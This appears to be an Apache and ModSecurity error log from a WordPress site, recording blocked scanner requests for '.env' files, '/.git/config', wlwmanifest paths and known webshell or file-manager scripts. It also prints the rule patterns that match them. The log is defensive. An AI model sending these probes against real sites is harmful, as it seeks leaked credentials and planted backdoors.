[Fri Nov 28 19:15:58.963150 2025] [:error] [pid 37392:tid 37414] [client 13.211.239.57:56220] [client 13.211.239.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/apps/.env"] [unique_id "aSmEbqB3gkyvQI8SfR-cPQAAAZQ"]
[Fri Nov 28 19:16:00.002753 2025] [:error] [pid 59558:tid 59566] [client 13.211.239.57:56416] [client 13.211.239.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sitemaps/.env"] [unique_id "aSmEcMv1JlbxrOWQIPbikwAAAEQ"]
[Fri Nov 28 19:16:00.705741 2025] [:error] [pid 59559:tid 59596] [client 13.211.239.57:56634] [client 13.211.239.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/saas/.env"] [unique_id "aSmEcBqw_7c4pIN46wlJ4QAAAMc"]
[Fri Nov 28 19:16:01.140390 2025] [:error] [pid 37362:tid 37372] [client 13.211.239.57:56808] [client 13.211.239.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/api/.env"] [unique_id "aSmEcbEmXwnywt2l66e7egAAAUg"]
[Fri Nov 28 19:16:01.422783 2025] [:error] [pid 59836:tid 59855] [client 13.211.239.57:57456] [client 13.211.239.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/psnlink/.env"] [unique_id "aSmEcedZMCOz1m2UNtGlRQAAABA"]
[Fri Nov 28 19:16:01.586152 2025] [:error] [pid 37392:tid 37409] [client 13.211.239.57:57792] [client 13.211.239.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/exapi/.env"] [unique_id "aSmEcaB3gkyvQI8SfR-cQgAAAY8"]
[Fri Nov 28 19:16:02.206374 2025] [:error] [pid 59836:tid 59844] [client 13.211.239.57:59406] [client 13.211.239.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/public/.env"] [unique_id "aSmEcudZMCOz1m2UNtGlRgAAAAU"]
[Fri Nov 28 19:16:02.679473 2025] [:error] [pid 37362:tid 37385] [client 13.211.239.57:59894] [client 13.211.239.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/en/.env"] [unique_id "aSmEcrEmXwnywt2l66e7fQAAAVU"]
[Fri Nov 28 20:33:43.595588 2025] [:error] [pid 38435:tid 38449] [client 223.185.31.227:19390] [client 223.185.31.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.31.227, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aSmWp9t2E1u6lE46UplmaAAAAAw"]
[Fri Nov 28 20:46:04.553966 2025] [:error] [pid 38435:tid 38443] [client 43.157.38.228:34732] [client 43.157.38.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aSmZjNt2E1u6lE46UplogAAAAAY"]
[Fri Nov 28 21:24:19.968327 2025] [:error] [pid 47395:tid 47406] [client 34.12.108.18:57600] [client 34.12.108.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.12.108.18, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aSmigwL-OiEmV804OC28WAAAAQg"]
[Fri Nov 28 21:24:21.201185 2025] [:error] [pid 47395:tid 47419] [client 34.12.108.18:57600] [client 34.12.108.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "aSmihQL-OiEmV804OC28ZQAAARU"]
[Fri Nov 28 21:24:22.657599 2025] [:error] [pid 38347:tid 38390] [client 34.12.108.18:52800] [client 34.12.108.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "aSmihl4FzQmoUx27MAl-YAAAAE0"]
[Fri Nov 28 21:24:23.948852 2025] [:error] [pid 38347:tid 38397] [client 34.12.108.18:50534] [client 34.12.108.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aSmih14FzQmoUx27MAl-ZQAAAFQ"]
[Fri Nov 28 21:24:25.246121 2025] [:error] [pid 38347:tid 38400] [client 34.12.108.18:61011] [client 34.12.108.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "aSmiiV4FzQmoUx27MAl-agAAAFc"]
[Fri Nov 28 21:24:26.460690 2025] [:error] [pid 38346:tid 38367] [client 34.12.108.18:52789] [client 34.12.108.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2020/wp-includes/wlwmanifest.xml"] [unique_id "aSmiijVLXLVaGOn9rSn6HwAAAZE"]
[Fri Nov 28 21:24:27.663502 2025] [:error] [pid 38347:tid 38385] [client 34.12.108.18:49817] [client 34.12.108.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aSmii14FzQmoUx27MAl-cgAAAEg"]
[Fri Nov 28 21:24:28.793823 2025] [:error] [pid 38347:tid 38397] [client 34.12.108.18:53392] [client 34.12.108.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aSmijF4FzQmoUx27MAl-dAAAAFQ"]
[Fri Nov 28 21:24:29.951194 2025] [:error] [pid 38347:tid 38383] [client 34.12.108.18:54371] [client 34.12.108.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aSmijV4FzQmoUx27MAl-dgAAAEY"]
[Fri Nov 28 21:24:31.078691 2025] [:error] [pid 38346:tid 38366] [client 34.12.108.18:54762] [client 34.12.108.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aSmijzVLXLVaGOn9rSn6IQAAAZA"]
[Fri Nov 28 21:24:32.252788 2025] [:error] [pid 47395:tid 47416] [client 34.12.108.18:51462] [client 34.12.108.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aSmikAL-OiEmV804OC28bgAAARI"]
[Fri Nov 28 21:24:33.442476 2025] [:error] [pid 38346:tid 38354] [client 34.12.108.18:56924] [client 34.12.108.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aSmikTVLXLVaGOn9rSn6JQAAAYQ"]
[Fri Nov 28 21:24:34.600158 2025] [:error] [pid 38346:tid 38355] [client 34.12.108.18:64995] [client 34.12.108.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aSmikjVLXLVaGOn9rSn6KgAAAYU"]
[Fri Nov 28 21:24:35.832806 2025] [:error] [pid 38347:tid 38377] [client 34.12.108.18:56138] [client 34.12.108.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aSmik14FzQmoUx27MAl-egAAAEA"]
[Fri Nov 28 23:44:13.304322 2025] [:error] [pid 47471:tid 47491] [client 138.197.94.71:50286] [client 138.197.94.71] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aSnDTdhJAyjzRrygCej7zAAAAVI"]
[Fri Nov 28 23:44:14.433344 2025] [:error] [pid 38347:tid 38400] [client 138.197.94.71:51412] [client 138.197.94.71] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aSnDTl4FzQmoUx27MAmy6QAAAFc"]
[Sat Nov 29 00:05:18.238069 2025] [:error] [pid 47471:tid 47497] [client 103.167.150.158:56267] [client 103.167.150.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/system/js/core.js"] [unique_id "aSnIPthJAyjzRrygCegAxQAAAVg"]
[Sat Nov 29 00:13:42.073798 2025] [:error] [pid 9751:tid 9763] [client 113.219.218.197:42824] [client 113.219.218.197] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aSnKNqqNNTs_lWy2XeHQawAAAco"]
[Sat Nov 29 02:56:04.296955 2025] [autoindex:error] [pid 9656:tid 9736] [client 20.251.207.36:20743] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Sat Nov 29 02:56:04.629656 2025] [autoindex:error] [pid 22917:tid 22932] [client 20.251.207.36:20753] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Sat Nov 29 02:56:04.898673 2025] [proxy_fcgi:error] [pid 22917:tid 22937] [client 20.251.207.36:20753] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Sat Nov 29 02:56:23.213699 2025] [autoindex:error] [pid 9656:tid 9712] [client 20.251.207.36:20743] AH01276: Cannot serve directory /home/measureyourbrand/public_html/assets/images/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Sat Nov 29 02:56:51.417531 2025] [:error] [pid 22917:tid 22929] [client 20.251.207.36:20753] [client 20.251.207.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aSnwc_XA03aodZJHKLXWTgAAAko"], referer: https://www.bing.com/
[Sat Nov 29 02:57:41.222187 2025] [:error] [pid 22917:tid 22921] [client 20.251.207.36:20728] [client 20.251.207.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aSnwpfXA03aodZJHKLXWiQAAAkI"], referer: https://www.google.fr/
[Sat Nov 29 02:57:42.527951 2025] [:error] [pid 23043:tid 23061] [client 20.251.207.36:20676] [client 20.251.207.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/test1.php"] [unique_id "aSnwpsK6yFUaQPWSxO5ThgAAAtA"], referer: https://www.google.com/
[Sat Nov 29 02:57:45.378047 2025] [:error] [pid 9654:tid 9658] [client 20.251.207.36:20677] [client 20.251.207.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aSnwqXwlAlfevRIdjr-_4gAAAEA"], referer: https://www.google.co.uk/
[Sat Nov 29 02:57:47.315101 2025] [:error] [pid 23146:tid 23161] [client 20.251.207.36:20718] [client 20.251.207.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/autoload_classmap.php"] [unique_id "aSnwqx_ijGQmz4nDkmt-mgAAA4s"], referer: https://www.google.com/
[Sat Nov 29 02:57:48.226131 2025] [:error] [pid 22946:tid 22958] [client 20.251.207.36:20679] [client 20.251.207.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/chosen.php"] [unique_id "aSnwrA0NDFRGAaRX80SM2QAAAoo"], referer: https://www.yahoo.com/
[Sat Nov 29 02:57:49.530358 2025] [:error] [pid 22917:tid 22923] [client 20.251.207.36:20673] [client 20.251.207.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aSnwrfXA03aodZJHKLXWiwAAAkQ"], referer: https://www.yahoo.com/
[Sat Nov 29 02:57:53.725794 2025] [:error] [pid 9656:tid 9726] [client 20.251.207.36:20756] [client 20.251.207.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aSnwsY_4AfnhtHpInunmYAAAAI4"], referer: https://www.google.com/
[Sat Nov 29 02:57:57.542487 2025] [:error] [pid 23146:tid 23166] [client 20.251.207.36:20723] [client 20.251.207.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aSnwtR_ijGQmz4nDkmt-ngAAA5A"], referer: https://www.google.co.uk/
[Sat Nov 29 02:58:03.488209 2025] [:error] [pid 22917:tid 22941] [client 20.251.207.36:20695] [client 20.251.207.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aSnwu_XA03aodZJHKLXWjgAAAlY"], referer: https://duckduckgo.com/
[Sat Nov 29 02:58:05.022646 2025] [:error] [pid 22946:tid 22951] [client 20.251.207.36:20740] [client 20.251.207.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aSnwvQ0NDFRGAaRX80SM8AAAAoM"], referer: https://www.bing.com/
[Sat Nov 29 02:58:09.758886 2025] [:error] [pid 22917:tid 22924] [client 20.251.207.36:20751] [client 20.251.207.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/shortcode/index.php"] [unique_id "aSnwwfXA03aodZJHKLXWkgAAAkU"], referer: https://duckduckgo.com/
[Sat Nov 29 02:58:14.536772 2025] [:error] [pid 22884:tid 22904] [client 20.251.207.36:20715] [client 20.251.207.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "aSnwxhuFbnIkrn5EpdRRRQAAAhI"], referer: https://www.google.fr/
[Sat Nov 29 02:58:23.763178 2025] [:error] [pid 22809:tid 22822] [client 20.251.207.36:20738] [client 20.251.207.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aSnwz9dTnrZLAxZBWQsdBAAAAUs"], referer: https://www.google.de/
[Sat Nov 29 02:58:37.715080 2025] [:error] [pid 22917:tid 22921] [client 20.251.207.36:20709] [client 20.251.207.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aSnw3fXA03aodZJHKLXWwAAAAkI"], referer: https://www.google.co.uk/
[Sat Nov 29 02:58:38.606504 2025] [:error] [pid 22884:tid 22895] [client 20.251.207.36:20688] [client 20.251.207.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aSnw3huFbnIkrn5EpdRRTgAAAgk"], referer: https://duckduckgo.com/
[Sat Nov 29 02:58:41.040540 2025] [:error] [pid 9654:tid 9670] [client 20.251.207.36:20893] [client 20.251.207.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/index.php"] [unique_id "aSnw4XwlAlfevRIdjr-_9AAAAEw"], referer: https://www.google.co.uk/
[Sat Nov 29 02:58:42.492361 2025] [:error] [pid 22884:tid 22904] [client 20.251.207.36:20783] [client 20.251.207.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aSnw4huFbnIkrn5EpdRRUAAAAhI"], referer: https://www.bing.com/
[Sat Nov 29 02:58:44.569186 2025] [:error] [pid 9656:tid 9718] [client 20.251.207.36:20864] [client 20.251.207.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aSnw5I_4AfnhtHpInunmagAAAIY"], referer: https://www.google.com/
[Sat Nov 29 02:58:46.570837 2025] [:error] [pid 22946:tid 22972] [client 20.251.207.36:20710] [client 20.251.207.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jcrop/jcrop.php"] [unique_id "aSnw5g0NDFRGAaRX80SNLwAAApg"], referer: https://www.bing.com/
[Sat Nov 29 02:58:52.974003 2025] [:error] [pid 57438:tid 57462] [client 20.251.207.36:20680] [client 20.251.207.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aSnw7KANc56NCdbFpjsKtwAAANY"], referer: https://www.google.co.uk/
